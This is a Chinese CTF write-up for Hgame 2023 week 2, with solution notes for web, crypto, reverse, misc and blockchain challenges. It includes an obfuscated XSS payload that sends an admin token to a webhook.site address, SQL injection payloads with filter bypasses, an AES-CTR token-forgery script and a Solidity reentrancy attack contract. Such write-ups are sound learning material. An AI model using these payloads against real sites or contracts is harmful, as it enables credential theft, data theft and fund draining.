本文最后更新于 478 天前,其中的信息可能已经有所发展或是发生改变。
Hgame: week2 Rank:
Hgame 2023 Rank:
可恶,没能ak WEB,sql 实在没看懂,也没花很多精力
分析源码,要求为 username=admin
ip=127.0.0.1
,可以通过 save
来让服务器访问,在访问部署攻击的网站前还需要先去 register
,fetch
构造post
请求,以admin
去生成一个token
;\"><script>eval (\"fet\"+\"ch(\\\"/user/register\\\", {\\\"method\\\":\\\"POST\\\",\\\"body\\\":{\\\"username\\\":\\\"admin\\\"}}).then ((respo\"+\"nse)=>respo\"+\"nse.jso\"+\"n()).then (functio\"+\"n(respo\"+\"nse){fe\"+\"tch(\\\"https://webhook.site/cb3f84a6-2245-4654-8463-a861d2ca44af/\\\"+respo\"+\"nse[\\\"token\\\"])});\");</script>
弱密码
sql 注入,过滤了一些关键词,但是大小写敏感,过滤空格和/**/
,双写绕过,过滤等号,用 like 绕过
0 UNION SELECT 1 ,2 ,3
0 UNION SELECT 1 ,DATABASE (),3
0 UNION SELECT 1 ,(SELECT GROUP_CONCAT (TABLE_NAME )FROM INFORMATION_SCHEMA .TABLES WHERE TABLE_SCHEMA LIKE DATABASE ()),3
0 UNION SELECT 1 ,(SELECT GROUP_CONCAT (COLUMN_NAME )FROM INFORMATION_SCHEMA .COLUMNS WHERE TABLE_SCHEMA LIKE DATABASE ()),3
0 UNION SELECT 1 ,(SELECT f14gggg1shereFROM 5ecret15here),3
from Crypto.Util.number import *
import gmpy2
p = 65428327184555679690730137432886407240184329534772421373193521144693375074983
q = 98570810268705084987524975482323456006480531917292601799256241458681800554123
c = 0 x4 e072 f435 cbffbd3520 a283 b3944 ac988 b98 fb19 e723 d1 bd02 ad7 e58 d9 f01 b26 d622 edea5 ee538 b2 f603 d5 bf785 b0427 de27 ad5 c76 c656 dbd9435 d3 a4 a7 cf556
e = 2
n = p * q
mp = pow(c, (p + 1 ) // 4 , p)
mq = pow(c, (q + 1 ) // 4 , q)
yp = gmpy2 .invert(p, q)
yq = gmpy2 .invert(q, p)
r = (yp * p * mq + yq * q * mp) % n
rr = n - r
s = (yp * p * mq - yq * q * mp) % n
ss = n - s
for i in [r, rr, s, rr]:
print(long_to_bytes(i))
# hgame{That'5_s0_3asy_to_s@lve_r@bin}s
challenge 1
分解因数:pubkey[0 ] // pubkey[2 ]
得到 p q
challenge 2
先 pubkey 然后 encrypt 再 pubkey
求两次 p*q 的 gcd
用其中一次的 p q 求解
challenge 3
低指数攻击
import gmpy2
from Crypto.Util.number import *
def de (c, e, n ):
k = 0
while True :
mm = c + n*k
result, flag = gmpy2.iroot(mm, e)
if True == flag:
return result
k += 1
e= 3
n=
c=
m=de(c,e,n)
print(long_to_bytes(m))
challenge 4
获取顺序: pubkey encrypt pubkey encrypt
共模攻击
import gmpy2
from Crypto.Util.number import long_to_bytes
e1 = 98911
e2 = 122099
n = 95048467482095047194913076481132162965250112913068812808848027402319725614813995098584762490966765657917174429652739462495760382099969326230762073171467755201990428927237663400477628823765429956962042870978196151009933065958581126995302573390078723690059805801261153097824043348480889858586169817262504654753
c1 = 0x1e1ed86e90f31b5827d3b975e3039592a90d64674c691f6d142482930a3e761cffbbe0bef10c1334939040d1e2c1ae4ffb2411d36533f9c8232f7d2b50dc7b9ea22bfac849e20fcbdae390710ce4d282c06ecf16c1d342c30e63c59d444943895e0361dea98bd74e7dccda48e79fe8cd712cb6352a2aa72a058b78082f9f9f06
c2 = 0x45b1ff36c4363240047c744dab838ca660d14a9434b30eea3eea0a90fd1292bda96ee5e536f0ff3a8335ed08d786082898f9a1a0315c6370f6f42fb9c4b880487a2c76bf49810aa277dfcf91641ec6940a8598c3ae53d1d0959c5ae187984fa124e4ee7b1c35cf8b39dddfa2747e4268f693ed0798802a737a7c0ce63514959c
_, r, s = gmpy2.gcdext(e1, e2)
m = pow (c1, r, n) * pow (c2, s, n) % n
print(long_to_bytes(m))
from z3 import *
m = 1528637222531038332958694965114330415773896571891017629493424
w = Int('w' )
solve(w * 2 % m == m, w > 0 , w < m)
```
4. exp
```python
from gmpy2 import invert
c = 93602062133487361151420753057739397161734651609786598765462162
w1 = 34678303266662728260484388017365107292555268466494656568963
m = 1528637222531038332958694965114330415773896571891017629493424
_w = invert(w1, m)
_c = c * _w % m
d = ''
a = [2 << i for i in range (198 )][::-1 ]
while _c >= 2 and len (a) >= 1 :
if _c >= sum (a):
_c -= sum (a)
d += '1'
else :
d += '0'
a = a[1 :]
print(d[::-1 ])
from libnum import gcd, s2n
from string import printable
for x in printable:
for y in printable:
plain = f"{x} {y} 's_4n_3asy_ba9_isn7_it?"
v = bin (s2n(plain))[2 :]
l = len (v)
a = [2 << i for i in range (l)]
m = 1528637222531038332958694965114330415773896571891017629493424
w = 34678303266662728260484388017365107292555268466494656568963
assert gcd(w, m) == 1
b = [w * i % m for i in a]
c = 0
for i in range (l):
c += b[i] * int (v[i])
if c == 93602062133487361151420753057739397161734651609786598765462162 :
print(plain)
审计一下代码,要求购买flag时token解出的username要求是 Vidar-Tu,但是不可能注册一个 Vidar-Tu,要伪造token
func init () {
_, _ = rand.Read(key)
_, _ = rand.Read(iv)
}
func Encrypt (u string ) (string , error) {
block, err := aes.NewCipher(key)
if err != nil {
return "" , err
}
plainText := []byte (u)
blockMode := cipher.NewCTR(block, iv)
cipherText := make ([]byte , len (plainText))
blockMode.XORKeyStream(cipherText, plainText)
return base64.StdEncoding.EncodeToString(cipherText), nil
}
在这部分代码中发现对于 token 的生成采用 AES.CTR 算法,并且存在 key iv 复用的情况,通过写代码获取 username = Vidar-Tu 的 token
生成token
import base64
import time
from pwn import xor
from requests import Session
login = 'http://week-2 .hgame.lwsec.cn:30543 /login'
s = Session()
s .post(login, data={'username': 'Vidar-TU'})
created = round(time.time())
text1 = ('{"Name" :"Vidar-TU" ,"Created" :' + str(created) + ',"Uid" :"230555433" }').encode()
text2 = ('{"Name" :"Vidar-Tu" ,"Created" :' + str(created) + ',"Uid" :"230555433" }').encode()
text3 = base64 .b64 decode(s.cookies.get('token').replace('%3 D', '='))
text4 = base64 .b64 encode(xor(text1 , text2 , text3 ))
print (text4 .decode())
抓包改token -> hgame{5o_Eas9_6yte_flip_@t7ack_wi4h_4ES-CTR}
from pyautogui import *
from time import sleep
for i in range (10 ):
print(f"计时: {i} " )
sleep(1 )
while True :
for i in range (12 ):
press('enter' )
print(i, end=' ' )
press('n' )
sleep(0.1 )
bash命令执行,参考ByteCTF 2022 – bash_game,在读入 target
值进入 paint_game_over()
内,比较时 [[]]
操作符会造成RCE
paint_game_over () {
local xcent=$((`tput lines`/2 )) ycent=$((`tput cols`/2 ))
local x=$((xcent-4 )) y=$((ycent-25 ))
for (( i = 0; i < 10; i++ )); do
echo -ne "\033[$((x+i) );${y} H\033[44m${good_game[$i]} \033[0m" ;
done
if [[ "$master " -eq "y" ]] && [[ "$score " -gt 50000 ]]; then
echo -ne "\033[$((x+3) );$((ycent+1) )H\033[44m`cat /flag`\033[0m" ;
elif [[ "$master " -ne "y" ]] && [[ "$score " -gt "$target " ]]; then
echo -ne "\033[$((x+3) );;$((ycent+1) )H\033[44mKeep Going\033[0m"
else
echo -ne "\033[$((x+3) );$((ycent+1) )H\033[44m${score} \033[0m" ;
fi
}
part1 base64 58 32; part2 md5; part3 sha1; part4 sha256; part5 凯撒
按照 uuid 生成的格式补齐
掩码错误,选择正确的掩码,正确的应为 mask pattern 4
https://merricx.github.io/qrazybox/
pyinstaller 反编译:pyinstxtractor stream.exe> stream.pyc > stream.py
import base64
def gen (key ):
s = list (range (256 ))
j = 0
for i in range (256 ):
j = (j + s[i] + ord (key[i % len (key)])) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
i = j = 0
data = []
for _ in range (50 ):
i = (i + 1 ) % 256
j = (j + s[i]) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
data.append(s[(s[i] + s[j]) % 256 ])
return data
def encrypt (text, key ):
result = ''
for c, k in zip (text, gen(key)):
result += chr (ord (c) ^ k)
result = base64.b64encode(result.encode()).decode()
return result
text = input ('Flag: ' )
key = 'As_we_do_as_you_know'
enc = encrypt(text, key)
if enc == 'wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl' :
print('yes!' )
return None
None ('try again...' )
import base64
from string import printable as p
def gen (key ):
s = list (range (256 ))
j = 0
for i in range (256 ):
j = (j + s[i] + ord (key[i % len (key)])) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
i = j = 0
data = []
for _ in range (50 ):
i = (i + 1 ) % 256
j = (j + s[i]) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
data.append(s[(s[i] + s[j]) % 256 ])
return data
def encrypt (text, key ):
result = ''
for c, k in zip (text, gen(key)):
result += chr (ord (c) ^ k)
result = result.encode()
return result
decoded = base64.b64decode('wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl' )
decoded = ' ' .join([str (i) for i in list (decoded)])
text = 'hgame{'
key = 'As_we_do_as_you_know'
while not text.endswith('}' ):
for y in p:
test = ' ' .join([str (i) for i in list (encrypt(text + y, key=key))]) + ' '
if decoded.startswith(test):
text += y
print(text)
import base64
from string import printable as p
def gen (key ):
s = list (range (256 ))
j = 0
for i in range (256 ):
j = (j + s[i] + ord (key[i % len (key)])) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
i = j = 0
data = []
for _ in range (50 ):
i = (i + 1 ) % 256
j = (j + s[i]) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
data.append(s[(s[i] + s[j]) % 256 ])
return data
def encrypt (text, key ):
result = ''
for c, k in zip (text, gen(key)):
result += chr (ord (c) ^ k)
result = result.encode()
return result
decoded = base64.b64decode('wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl' )
decoded = ' ' .join([str (i) for i in list (decoded)])
text = 'hgame{'
key = 'As_we_do_as_you_know'
while not text.endswith('}' ):
for y in p:
test = ' ' .join([str (i) for i in list (encrypt(text + y, key=key))]) + ' '
if decoded.startswith(test):
text += y
print(text)
true : qaCpwYM2 tO/RP0 XeSZv8 kLd6 nfA7 UHJ1 No4 gF5 zr3 VsBQbl9 juhEGymc+WTxIiDK
false : 0 CxWsOemvJq4 zdk2 V6 QlArj9 wnHbt1 NfEX/+3 DhyPoBRLY8 pK5 FciZau7 UMIgTSG
路由器固件文件,kali 自带的不完整,在 ubuntu 上重装一个
在 bin 中发现文件 secret_program,IDA 查看逻辑
a = [75 , 68 , 66 , 78 , 70 , 88 , 86 , 77 , 83 , 23 , 64 , 72 , 18 , 77 , 68 , 124 , 69 , 74 , 81 , 78 , 84 , 66 , 81 , 70 , 124 , 18 , 80 , 124 , 16 , 98 , 80 , 90 ]
a = [i ^ 35 for i in a]
print('' .join([chr(i) for i in a]))
f = open ('usb.txt' , 'r' )
fi = open ('out.txt' , 'w' )
while True:
a = f.readline().strip()
if a:
if len (a) == 16 : # 键盘流量len =16 ,鼠标流量len =8
out = ''
for i in range(0 , len (a), 2 ):
if i + 2 != len (a):
out += a[i] + a[i + 1 ] + ":"
else :
out += a[i] + a[i + 1 ]
fi.write (out)
fi.write ('\n' )
else :
break
fi.close ()
normalKeys = {
"04" : "a" , "05" : "b" , "06" : "c" , "07" : "d" , "08" : "e" ,
"09" : "f" , "0a" : "g" , "0b" : "h" , "0c" : "i" , "0d" : "j" ,
"0e" : "k" , "0f" : "l" , "10" : "m" , "11" : "n" , "12" : "o" ,
"13" : "p" , "14" : "q" , "15" : "r" , "16" : "s" , "17" : "t" ,
"18" : "u" , "19" : "v" , "1a" : "w" , "1b" : "x" , "1c" : "y" ,
"1d" : "z" , "1e" : "1" , "1f" : "2" , "20" : "3" , "21" : "4" ,
"22" : "5" , "23" : "6" , "24" : "7" , "25" : "8" , "26" : "9" ,
"27" : "0" , "28" : "<RET>" , "29" : "<ESC>" , "2a" : "<DEL>" , "2b" : "\t" ,
"2c" : "<SPACE>" , "2d" : "-" , "2e" : "=" , "2f" : "[" , "30" : "]" , "31" : "\\" ,
"32" : "<NON>" , "33" : ";" , "34" : "'" , "35" : "<GA>" , "36" : "," , "37" : "." ,
"38" : "/" , "39" : "<CAP>" , "3a" : "<F1>" , "3b" : "<F2>" , "3c" : "<F3>" , "3d" : "<F4>" ,
"3e" : "<F5>" , "3f" : "<F6>" , "40" : "<F7>" , "41" : "<F8>" , "42" : "<F9>" , "43" : "<F10>" ,
"44" : "<F11>" , "45" : "<F12>" }
shiftKeys = {
"04" : "A" , "05" : "B" , "06" : "C" , "07" : "D" , "08" : "E" ,
"09" : "F" , "0a" : "G" , "0b" : "I" , "0c" : "H" , "0d" : "J" ,
"0e" : "K" , "0f" : "L" , "10" : "M" , "11" : "N" , "12" : "O" ,
"13" : "P" , "14" : "Q" , "15" : "R" , "16" : "S" , "17" : "T" ,
"18" : "U" , "19" : "V" , "1a" : "W" , "1b" : "X" , "1c" : "Y" ,
"1d" : "Z" , "1e" : "!" , "1f" : "@" , "20" : "#" , "21" : "$" ,
"22" : "%" , "23" : "^" , "24" : "&" , "25" : "*" , "26" : "(" , "27" : ")" ,
"28" : "<RET>" , "29" : "<ESC>" , "2a" : "<DEL>" , "2b" : "\t" , "2c" : "<SPACE>" ,
"2d" : "_" , "2e" : "+" , "2f" : "{" , "30" : "}" , "31" : "|" , "32" : "<NON>" , "33" : "\"" ,
"34" : ":" , "35" : "<GA>" , "36" : "<" , "37" : ">" , "38" : "?" , "39" : "<CAP>" , "3a" : "<F1>" ,
"3b" : "<F2>" , "3c" : "<F3>" , "3d" : "<F4>" , "3e" : "<F5>" , "3f" : "<F6>" , "40" : "<F7>" ,
"41" : "<F8>" , "42" : "<F9>" , "43" : "<F10>" , "44" : "<F11>" , "45" : "<F12>" }
output = []
keys = open ('usb2.txt' )
for line in keys:
try:
if line[0 ] != '0' or (line[1 ] != '0' and line[1 ] != '2' ) or line[3 ] != '0' or line[4 ] != '0' or line[9 ] != '0' or line[10 ] != '0' or line[12 ] != '0' or line[
13 ] != '0' or line[15 ] != '0' or line[16 ] != '0' or line[18 ] != '0' or line[19 ] != '0' or line[21 ] != '0' or line[22 ] != '0' or line[6 :8 ] == "00" :
continue
if line[6 :8 ] in normalKeys.keys():
output += [[normalKeys[line[6:8]] ],
[shiftKeys[line[6 :8 ]]]][line[1 ] == '2' ]
else :
output += ['[unknown]' ]
except BaseException:
pass
keys.close ()
flag = 0
print ("" .join(output ))
for i in range(len (output )):
try:
a = output .index('<DEL>' )
del output [a]
del output [a - 1 ]
except BaseException:
pass
for i in range(len (output )):
try:
if output [i] == "<CAP>" :
flag += 1
output .pop(i)
if flag == 2 :
flag = 0
if flag != 0 :
output [i] = output [i].upper ()
except BaseException:
pass
print ('output :' + "" .join(output ))
# zihiui_NB_666}
在 SCH_HelloWord-TouchBar_2022-07-31.pdf 中发现前半段flag
contract attack {
VidarBank public victim;
constructor (address _addr ){
victim = VidarBank(_addr);
}
fallback() external payable {
if (victim.balances(address(this )) < 30 ){
victim.donateOnce();
}
}
function exploit ( ) public payable {
victim.newAccount{value : 0.001 ether}();
victim.donateOnce();
victim.isSolved();
}
}
contract attack {
VidarBank public victim;
constructor (address _addr ){
victim = VidarBank(_addr);
}
fallback() external payable {
if (victim.balances(address(this )) < 30 ){
victim.donateOnce();
}
}
function exploit ( ) public payable {
victim.newAccount{value : 0.001 ether}();
victim.donateOnce();
victim.isSolved();
}
}